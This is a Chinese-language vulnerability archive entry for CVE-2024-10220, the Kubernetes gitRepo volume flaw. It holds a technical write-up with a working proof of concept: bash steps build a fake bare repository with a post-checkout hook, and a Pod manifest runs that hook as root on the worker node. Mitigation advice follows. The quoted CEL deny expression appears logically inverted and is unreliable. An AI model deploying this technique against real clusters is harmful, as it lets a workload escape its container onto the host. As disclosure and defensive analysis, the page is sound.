关联漏洞
标题:
Kubernetes 安全漏洞
(CVE-2024-10220)
描述:Kubernetes(K8s)是Kubernetes开源的一个开源系统,用于自动部署、扩展和管理容器化应用程序。 Kubernetes存在安全漏洞,该漏洞源于允许通过特制的 gitRepo 卷执行任意命令。以下版本受到影响:1.28.11版本及之前版本、1.29.0版本至1.29.6版本和1.30.0版本至1.30.2版本。
描述
CVE-2024-10220 Test repo
介绍
# CVE-2024-10220 Test
Kubernetes 支持卷(Volume)概念,也称为存储驱动。这一概念使得可以扩展或简化为 Pod 提供数据的方式。截至目前,Kubernetes 核心版本中有 16 个不同的卷驱动可供默认安装使用。
这篇博客文章的重点是 `gitRepo` 卷驱动,以及最近公开披露的一个尚未修复的安全漏洞。除了技术分析之外,我们还将建议一些安全控制措施,以防止该漏洞被利用。
### gitRepo 卷驱动和 CVE-2018–11235 漏洞
`gitRepo` 卷驱动允许引用 Git 仓库的 URL;Kubelet 会检出该仓库,并将仓库中的文件提供给应用程序。
这并不是该驱动第一次出现安全问题:在 2018 年,Git CLI 本身发现了一个漏洞(CVE-2018–11235),当一个恶意的子模块引用被利用时,会导致代码执行。这个漏洞同样可以在 `gitRepo` 卷驱动中被利用:攻击者可以在宿主节点的工作节点上下文中,以 root 权限执行任意命令。
当时,修复方式是升级到 Git CLI 的最新修复版本。当这个漏洞在 2018 年被发现时,Kubernetes 维护者决定废弃 `gitRepo` 卷驱动,并在官方文档中添加了以下警告:
> 为了为一个挂载了 Git 仓库的 Pod 提供服务,你可以在初始化容器中挂载一个 `emptyDir` 卷,该容器使用 Git 克隆仓库,然后将 `emptyDir` 卷挂载到 Pod 容器中。
### 但是,`gitRepo` 依然存在漏洞
新的漏洞是 Kubernetes 特有的,但其影响和 2018 年一样,依然影响废弃的 `gitRepo` 卷驱动,并通过一个特制的 Git 仓库诱使 Git CLI 执行命令。
为了理解它是如何工作的,我们先来看一下 `gitRepo` 卷驱动的配置选项:
- `repository`:要克隆的 Git 仓库 URL
- `revision`:(可选)要检出的提交哈希或标签
- `directory`:(可选)要检出仓库的卷中的子目录
实现上,首先会执行 `git clone` OS 命令。然后,如果配置了 `revision`,还会执行 `git checkout` 和 `git reset` 等后续命令。这个新漏洞正是通过利用这两个可选配置项来实现的。
漏洞的原理在于:Git 允许将仓库检出到任意深度的子目录(例如 `something/you/prefer`)。无论如何,后续的命令始终在第一层目录(例如 `something`)执行。
这允许攻击者将一个特制的仓库克隆到名为 `something/.git` 的子目录中,并且可以在其中放入任意内容,这时驱动会在 `something` 目录执行 `git checkout`。Git CLI 会进入 `something/.git` 子目录,攻击者在该目录中提前构造了一个文件结构,模仿了一个裸仓库的 `.git` 子目录结构。(注意:在这种情况下,`something/.git/.git` 目录也会存在,但 Git CLI 并不关心它。)
简而言之:Git CLI 会误以为自己正在操作一个裸仓库,尽管实际上它是在一个普通仓库中。
- **目录:** `something/.git`:这是卷配置中指定的目录,Git 克隆时会将恶意仓库检出到此目录。仓库中检出的文件被精心设计,看起来像一个裸仓库。
- **目录:** `something/.git/.git`:Git CLI 将在该目录下填充裸仓库的元数据和对象,这正是 Git CLI 后续步骤所需要使用的内容,但它却少了一个层级。
- **目录:** `something`:这是卷驱动执行后续命令的地方。因此,Git CLI 会将 `something/.git` 当作裸仓库,而不是 `something/.git/.git`。
利用这个漏洞,攻击者可以控制假裸仓库的 Git 配置文件,从而可以调用多种命令。攻击者还可以控制 hooks 子目录。
以下是如何构造这样一个仓库,并设置一个自定义的 `post-checkout` hook:
```bash
# 初始化一个新的 git 仓库
mkdir gitongit && cd gitongit
git init
# 创建要执行的 hook
mkdir hooks
cat >hooks/post-checkout <<'EOF'
#!/bin/sh
id > /tmp/poc
EOF
chmod +x hooks/post-checkout
# 裸仓库根目录必须有 HEAD、config 和 objects 文件:
cp .git/HEAD .git/config .
cp -r .git/objects .
git add .
git commit -m "first"
# 在下一轮中添加 logs、refs,并刷新对象:
cp -r .git/logs .git/objects .git/refs .
git add .
git commit -m "second"
```
验证仓库构建是否正确的低级步骤:
```bash
cd /tmp
mkdir cl && cd cl
git clone http://some.host/the-repo-you-just-built.git something/.git
cd something
git checkout main
cat /tmp/poc
```
将这些步骤综合在一起,以下的 Pod 定义会执行我们配置的 `post-checkout` hook:
```yaml
kubectl apply -f - <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: test-pd
spec:
containers:
- image: alpine:latest
command: ["sleep","86400"]
name: test-container
volumeMounts:
- mountPath: /gitrepo
name: gitvolume
volumes:
- name: gitvolume
gitRepo:
directory: g/.git
repository: https://github.com/irsl/g.git
revision: main
EOF
```
然后,在 Pod 被调度到的工作节点上,我们可以在宿主机上找到这个标志文件:
```bash
user@gke-cluster-2-default-pool-6602275c-3zk3 ~ $ cat /tmp/poc
uid=0(root) gid=0(root) groups=0(root)
```
利用该漏洞需要具备创建 Pod 的权限,并且该卷驱动必须可用。漏洞的影响是代码能够在宿主机的安全上下文中执行(可以称之为“沙箱逃逸”)。
### 如何防止这个漏洞?
Kubernetes 维护者决定不修复这个漏洞,因为该驱动已经废弃了超过 5 年,而且文档中已经指出了一个绕过方案。因此,文档中还增加了一条警告:
> 你可以使用诸如 `ValidatingAdmissionPolicy` 之类的策略,限制在集群中使用 `gitRepo` 卷。可以使用以下的 Common Expression Language (CEL) 表达式作为策略的一部分,拒绝使用 `gitRepo` 卷:`has(object.spec.volumes) || !object.spec.volumes.exists(v, has(v.gitRepo))`。
为什么供应商没有直接移除这个驱动?这其实很难做到,因为平台必须保证向后兼容。
总之,由于这是实现问题,我们决定通过提交 PR 来修复这个漏洞。Kubernetes 1.31 版本将在 8 月发布,修复此问题。
另外,值得一提的是,这个驱动在 GKE Autopilot 中一直是禁用的。
另一种缓解方法是使用 acjs,这是一个 admission 控制器,可以将你的 `gitRepo` 卷转为 initContainer。
文件快照
[4.0K] /data/pocs/69d9d3527ac646d9508cfc8c40c0c4f752c8f50d
├── [ 92] config
├── [ 23] HEAD
├── [4.0K] hooks
│ └── [ 67] post-checkout
├── [ 11K] LICENSE
├── [4.0K] logs
│ ├── [ 155] HEAD
│ └── [4.0K] refs
│ └── [4.0K] heads
│ └── [ 155] master
├── [4.0K] objects
│ ├── [4.0K] 47
│ │ └── [ 83] a0c00b3d4c5ee89bde4493f2e9be760e5de553
│ ├── [4.0K] 51
│ │ └── [ 92] 5f4836297fdf7567c066983c16e5eff598f7bd
│ ├── [4.0K] 7d
│ │ └── [ 125] d14d0290b3fb7a4a45ea31e2e93b2b293f712e
│ ├── [4.0K] 95
│ │ └── [ 58] 45f069ed6b142dd70e12a082ad786f530b1a37
│ ├── [4.0K] af
│ │ └── [ 110] 600098238b7e234f440f9bd18fd370962ba2c2
│ └── [4.0K] cb
│ └── [ 37] 089cd89a7d7686d284d8761201649346b5aa1c
├── [6.2K] README.md
└── [4.0K] refs
└── [4.0K] heads
└── [ 41] master
13 directories, 14 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。